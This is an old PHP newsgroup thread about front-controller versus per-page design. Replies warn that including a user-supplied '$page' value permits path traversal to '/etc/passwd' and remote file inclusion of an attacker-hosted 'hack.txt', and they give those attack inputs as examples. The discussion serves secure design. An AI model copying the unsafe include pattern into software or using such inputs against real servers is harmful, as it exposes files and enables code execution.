Design Model Question

[Mike Sutton]

I had first tried a less active PHP group, but let me try here.

I searched for this, but didn't find anything that appeared related.
Possibly I didn't know what to search for.

I am designing a web application using PHP, to which I am relatively
new. I have seen some sites use the model whereby a single index page
is created that handles authentication and receives option parameters
telling the index what to load in the body of the page. For example,
one could pass $page=AccountIn dex.php to tell the index to include the
account index page using:
require_once $page;

And the link to get there would look like:
<a href="<?=$_SERV ER['PHP_SELF']?>?page=Account Index.php">Acco unt
Index</a>

Alternatively, the link could actually refer to a different page
(e.g., <a href="./AccountIndex.ph p">Account Index</a>) and that could
be loaded using its own authentication and receive its own parameters.

I hope this is sufficiently clear.

The questions are:
Can anyone provide opinions on advantages/disadvantages to each of
these models?
Can anyone provide the correct terminology to discuss these ideas so
that I can look for more, relevant resources.

Thank you,
Mike

[Gregor Favre]

Re: Design Model Question

Hi Mike
[color=blue]
> I am designing a web application using PHP, to which I am relatively
> new. I have seen some sites use the model whereby a single index page
> is created that handles authentication and receives option parameters
> telling the index what to load in the body of the page. For example,
> one could pass $page=AccountIn dex.php to tell the index to include the
> account index page using:
> require_once $page;
>
> And the link to get there would look like:
> <a href="<?=$_SERV ER['PHP_SELF']?>?page=Account Index.php">Acco unt
> Index</a>[/color]

What happens, if someone types into his browser:
http://www.example.com/index.php?pag.../../etc/passwd ? He'll get all
users on your system, and if the passwords are not shadowed, he gets these
too. This will work with every file on your system, so desist using this
method without any further checkings.

I prefer the method of serializing my pages with a number, the nuber being
the primary key of my pages in a database. Of course this works also without
any database, just do the work with a 'case statement' or so...

Greetings, Greg

[Chung Leong]

Re: Design Model Question

"Mike Sutton" <sutton128@yaho o.com> wrote in message
news:7eb017e9.0 406251338.35a29 00d@posting.goo gle.com...[color=blue]
>
> The questions are:
> Can anyone provide opinions on advantages/disadvantages to each of
> these models?
> Can anyone provide the correct terminology to discuss these ideas so
> that I can look for more, relevant resources.[/color]

I was just talking about this in another thread. DON'T USE THE SINGLE ENTRY
POINT ARCHITECTURE! It offers no advantages at all, while its disadvantages
are numerous. First and foremost, this architecture is one of the leading
causes of security breach in PHP site. By setting $page to an Internet
address (http://www.example.net/page=http://1...3.34/hack.txt), I can
run arbitrary code on your server. And I can bypass your authentication
scheme by simply typing in the address to the file that you're including
(http://www.example.net/AccountIndex.php).

People who use this kind of scheme, I dare say, don't have a strong
programming background. Those who have programmed in C/C++ or other
procedural languages know that you include a file to make additional
functionalities available, not to cause something to occur. Think about it,
when you use require() you're just stating the file is needed by the current
script.

The proper way to share code between script is to enclose it in functions,
keep these in an separate file, include it where it's needed, then call the
functions. Or for the sake of convinence, just include it in every script.

Here's an example setup: We have a file call global.php that's included into
every script. This file in turn, includes files with commonly used
functions.

global.php:
<?

require("../inc/auth.php");
require("../inc/interface.php") ;
require("../inc/db.php");

....

//error_reporting (E_ALL);
define(DEBUG, false);

?>

accountIndex.ph p:
<?

require("global .php");

RestrictAccess( );

PrintHeader("Ac counting");

PrintFooter();

?>

inc/auth.php
<?

function RestrictAccess( $level = 5) {
if(empty($_SESS ION["logged_$le vel"])) {
Redirect("login .php?level=$lev el");
}
}

?>

In this system, it's easy to have pages that require the user to log in and
others that do not. If you don't call RestrictAccess( ) then there's no
restriction. And it's easy to implement multi-level security. Just pass a
value to the function instead of employing the default if the page needs
extra security.

[Michael Austin]

Re: Design Model Question

Gregor Favre wrote:
[color=blue]
> Hi Mike
>
>[color=green]
>>I am designing a web application using PHP, to which I am relatively
>>new. I have seen some sites use the model whereby a single index page
>>is created that handles authentication and receives option parameters
>>telling the index what to load in the body of the page. For example,
>>one could pass $page=AccountIn dex.php to tell the index to include the
>>account index page using:
>>require_onc e $page;
>>
>>And the link to get there would look like:
>><a href="<?=$_SERV ER['PHP_SELF']?>?page=Account Index.php">Acco unt
>>Index</a>[/color]
>
>
> What happens, if someone types into his browser:
> http://www.example.com/index.php?pag.../../etc/passwd ? He'll get all
> users on your system, and if the passwords are not shadowed, he gets these
> too. This will work with every file on your system, so desist using this
> method without any further checkings.
>
> I prefer the method of serializing my pages with a number, the nuber being
> the primary key of my pages in a database. Of course this works also without
> any database, just do the work with a 'case statement' or so...
>
> Greetings, Greg
>
>[/color]

I agree with you Greg.. unless of course you are using OpenVMS
(DEC/Alpha RISC CPU), then you can try, but you won't get very far... :)

Michael Austin.

[Mike Sutton]

Re: Design Model Question

> What happens, if someone types into his browser:[color=blue]
> http://www.example.com/index.php?pag.../../etc/passwd ?[/color]

I hadn't addressed input validation as part of my question, but if a
user entered the string you proposed it would fail validation and they
would get a denied message.

Any other thoughts?

[Tony Marston]

Re: Design Model Question


"Chung Leong" <chernyshevsky@ hotmail.com> wrote in message
news:S7KdnSV5iP DyJEHdRVn-jA@comcast.com. ..[color=blue]
> "Mike Sutton" <sutton128@yaho o.com> wrote in message
> news:7eb017e9.0 406251338.35a29 00d@posting.goo gle.com...[color=green]
> >
> > The questions are:
> > Can anyone provide opinions on advantages/disadvantages to each of
> > these models?
> > Can anyone provide the correct terminology to discuss these ideas so
> > that I can look for more, relevant resources.[/color]
>
> I was just talking about this in another thread. DON'T USE THE SINGLE[/color]
ENTRY[color=blue]
> POINT ARCHITECTURE! It offers no advantages at all, while its[/color]
disadvantages[color=blue]
> are numerous. First and foremost, this architecture is one of the leading
> causes of security breach in PHP site. By setting $page to an Internet
> address (http://www.example.net/page=http://1...3.34/hack.txt), I can
> run arbitrary code on your server. And I can bypass your authentication
> scheme by simply typing in the address to the file that you're including
> (http://www.example.net/AccountIndex.php).
>
> People who use this kind of scheme, I dare say, don't have a strong
> programming background. Those who have programmed in C/C++ or other
> procedural languages know that you include a file to make additional
> functionalities available, not to cause something to occur. Think about[/color]
it,[color=blue]
> when you use require() you're just stating the file is needed by the[/color]
current[color=blue]
> script.
>
> The proper way to share code between script is to enclose it in functions,
> keep these in an separate file, include it where it's needed, then call[/color]
the[color=blue]
> functions. Or for the sake of convinence, just include it in every[/color]
script.

A single entry point architecture is sometimes known as a Front Controller
as every request goes through a single page. I much prefer having a separate
URL for each page as it gives me all the control I need without any of the
security problems. Take a look at
http://www.tonymarston.net/php-mysql...plication.html for a
description of a sample application which you can run online. There is also
a link to download all the code.

HTH.

--
Tony Marston

http://www.tonymarston.net

[CJ Llewellyn]

Re: Design Model Question

"Mike Sutton" <sutton128@yaho o.com> wrote in message
news:7eb017e9.0 406251855.43ce3 b42@posting.goo gle.com...[color=blue][color=green]
> > What happens, if someone types into his browser:
> > http://www.example.com/index.php?pag.../../etc/passwd ?[/color]
>
> I hadn't addressed input validation as part of my question, but if a
> user entered the string you proposed it would fail validation and they
> would get a denied message.[/color]

Only if you are smart enough to validate the entry. I've seen plenty of
sites that haven't been protected ;)

Most php programs follow the same pattern

authentication
validation of input
processing of data
display of output

The single point of entry system allows you to contain the first and last
elements in a single script, and only include the elements for data process
where needed. This should in theory provide a lower overhead in memory and
CPU cycles as you are only loading the programming libraries your script is
using.

[Five Cats]

Re: Design Model Question

In message <cbkk72$676$1@s lavica.ukpost.c om>, CJ Llewellyn
<satest@tmslife line.com> writes[color=blue]
>"Mike Sutton" <sutton128@yaho o.com> wrote in message
>news:7eb017e9. 0406251855.43ce 3b42@posting.go ogle.com...[color=green][color=darkred]
>> > What happens, if someone types into his browser:
>> > http://www.example.com/index.php?pag.../../etc/passwd ?[/color]
>>
>> I hadn't addressed input validation as part of my question, but if a
>> user entered the string you proposed it would fail validation and they
>> would get a denied message.[/color]
>
>Only if you are smart enough to validate the entry. I've seen plenty of
>sites that haven't been protected ;)[/color]

Yes....
[color=blue]
>
>Most php programs follow the same pattern
>
>authenticati on
>validation of input
>processing of data
>display of output[/color]

So do lots of non-PHP programs in various ways.
[color=blue]
>
>The single point of entry system allows you to contain the first and last
>elements in a single script, and only include the elements for data process
>where needed. This should in theory provide a lower overhead in memory and
>CPU cycles as you are only loading the programming libraries your script is
>using.
>
>[/color]

--
Five Cats
Email to: cats_spam at uk2 dot net

[FLEB]

Re: Design Model Question

Regarding this well-known quote, often attributed to Five Cats's famous
"Sat, 26 Jun 2004 21:11:47 +0100" speech:
[color=blue]
> In message <cbkk72$676$1@s lavica.ukpost.c om>, CJ Llewellyn
> <satest@tmslife line.com> writes[color=green]
>>"Mike Sutton" <sutton128@yaho o.com> wrote in message
>>news:7eb017e9 .0406251855.43c e3b42@posting.g oogle.com...[color=darkred]
>>> > What happens, if someone types into his browser:
>>> > http://www.example.com/index.php?pag.../../etc/passwd ?
>>>
>>> I hadn't addressed input validation as part of my question, but if a
>>> user entered the string you proposed it would fail validation and they
>>> would get a denied message.[/color]
>>
>>Only if you are smart enough to validate the entry. I've seen plenty of
>>sites that haven't been protected ;)[/color]
>
> Yes....
>[color=green]
>>
>>Most php programs follow the same pattern
>>
>>authenticatio n
>>validation of input
>>processing of data
>>display of output[/color]
>
> So do lots of non-PHP programs in various ways.
>[color=green]
>>
>>The single point of entry system allows you to contain the first and last
>>elements in a single script, and only include the elements for data process
>>where needed. This should in theory provide a lower overhead in memory and
>>CPU cycles as you are only loading the programming libraries your script is
>>using.
>>
>>[/color][/color]

You'd get the same benefits, with more security, using common
header/footer/wrapper includes, though, wouldn't you?
--
-- Rudy Fleminger
-- sp@mmers.and.ev il.ones.will.bo w-down-to.us
(put "Hey!" in the Subject line for priority processing!)
-- http://www.pixelsaredead.com

[Mike Sutton]

Re: Design Model Question

"Chung Leong" <chernyshevsky@ hotmail.com> wrote in message news:<S7KdnSV5i PDyJEHdRVn-jA@comcast.com> ...[color=blue]
> [Y]ou include a file to make additional
> functionalities available, not to cause
> something to occur.[/color]

An excellent point, and one I hadn't considered despite the fact that
I would not do the same thing in other development environments.

Thank you.

[Chung Leong]

Re: Design Model Question


"CJ Llewellyn" <satest@tmslife line.com> wrote in message
news:cbkk72$676 $1@slavica.ukpo st.com...[color=blue]
> "Mike Sutton" <sutton128@yaho o.com> wrote in message
> news:7eb017e9.0 406251855.43ce3 b42@posting.goo gle.com...[color=green][color=darkred]
> > > What happens, if someone types into his browser:
> > > http://www.example.com/index.php?pag.../../etc/passwd ?[/color]
> >
> > I hadn't addressed input validation as part of my question, but if a
> > user entered the string you proposed it would fail validation and they
> > would get a denied message.[/color]
>
> Only if you are smart enough to validate the entry. I've seen plenty of
> sites that haven't been protected ;)
>
> Most php programs follow the same pattern
>
> authentication
> validation of input
> processing of data
> display of output[/color]

It's a mistake to split validation and processing into separate parts, since
the question of what is valid and what isn't is dependent what you the
process is. And there are error conditions that can't be detected until you
actually start processing the input.

[Chung Leong]

Re: Design Model Question

"Mike Sutton" <sutton128@yaho o.com> wrote in message
news:7eb017e9.0 406251855.43ce3 b42@posting.goo gle.com...[color=blue][color=green]
> > What happens, if someone types into his browser:
> > http://www.example.com/index.php?pag.../../etc/passwd ?[/color]
>
> I hadn't addressed input validation as part of my question, but if a
> user entered the string you proposed it would fail validation and they
> would get a denied message.[/color]

The point is you shouldn't have to do that kind of validation in the first
place, since file-level access control is the responsibility of the web
server. It's stupid to create a run-around of the web server's security,
then build your own system.

[CJ Llewellyn]

Re: Design Model Question

"FLEB" <soon.the.sp@mm ers.and.evil.on es.will.bow-down-to.us> wrote in
message news:1gessvq0in 79a.rvf47ebke9i x.dlg@40tude.ne t...[color=blue]
> Regarding this well-known quote, often attributed to Five Cats's famous
> "Sat, 26 Jun 2004 21:11:47 +0100" speech:
>[color=green]
> > In message <cbkk72$676$1@s lavica.ukpost.c om>, CJ Llewellyn
> > <satest@tmslife line.com> writes[color=darkred]
> >>"Mike Sutton" <sutton128@yaho o.com> wrote in message
> >>news:7eb017e9 .0406251855.43c e3b42@posting.g oogle.com...
> >>> > What happens, if someone types into his browser:
> >>> > http://www.example.com/index.php?pag.../../etc/passwd ?
> >>>
> >>> I hadn't addressed input validation as part of my question, but if a
> >>> user entered the string you proposed it would fail validation and they
> >>> would get a denied message.
> >>
> >>Only if you are smart enough to validate the entry. I've seen plenty of
> >>sites that haven't been protected ;)[/color]
> >
> > Yes....
> >[color=darkred]
> >>
> >>Most php programs follow the same pattern
> >>
> >>authenticatio n
> >>validation of input
> >>processing of data
> >>display of output[/color]
> >
> > So do lots of non-PHP programs in various ways.
> >[color=darkred]
> >>
> >>The single point of entry system allows you to contain the first and[/color][/color][/color]
last[color=blue][color=green][color=darkred]
> >>elements in a single script, and only include the elements for data[/color][/color][/color]
process[color=blue][color=green][color=darkred]
> >>where needed. This should in theory provide a lower overhead in memory[/color][/color][/color]
and[color=blue][color=green][color=darkred]
> >>CPU cycles as you are only loading the programming libraries your script[/color][/color][/color]
is[color=blue][color=green][color=darkred]
> >>using.
> >>
> >>[/color][/color]
>
> You'd get the same benefits, with more security, using common
> header/footer/wrapper includes, though, wouldn't you?[/color]

You end up writing the same

include('html/header.html');
include('html/footer.html');

statements in each file, unless you do what I do and have a common sub file
to process output.

[Terence]

Re: Design Model Question

Mike Sutton wrote:[color=blue]
> I had first tried a less active PHP group, but let me try here.[/color]

The best place that I found for this sort of discussion is the advanced
PHP forum at sitepoint.com
[color=blue]
> The questions are:
> Can anyone provide opinions on advantages/disadvantages to each of
> these models?
> Can anyone provide the correct terminology to discuss these ideas so
> that I can look for more, relevant resources.
>[/color]

As Tony pointed out, the design pattern you refer it is specifically,
the "front controller" which is usually part of a more general pattern
called the "Model View Controller" (MVC) for which there are variants
such as Model2.

MVC has been pushed as "THE way to go" by some people and outright
rejected by others (particularly the front controller). Personally, I
use it only occasionally and only where I think it will speed up my
development. The front controller is good at solving the problem of
centralising code. There are many ways to do that tho. I tend to use a
front controller in very small applications that have limited
complexity. Sometimes I will use an FC in one module of a larger
application - this may sound ad-hoc but it isn't if the application uses
a higher level framework where sub-components may choose to be an FC.

As far as the security issues are concerned, there are easy ways to
address this with an FC. The FC method doesn't imply a security problem.
Ignoring the obvious [security implications of get requests] does. The
[get request] security issue doesn't require an FC to manifest itself.
Just use common sense.

Whatever you do, don't be too prescriptive about whatever design pattern
it is you decide is "the best way to build web apps". Things change,
including ideas. Learn to understand design patterns such as the front
controller and pick and choose the right times to take advange of it's
strengths.

Here is a good article written a while ago which discusses the
disadvantages with the FC pattern.

http://www.phppatterns.com/index.php/article/articleview/81/1/1/

It's just a "discussion " and I don't agree with everything, but it's
food for thought.

cheers.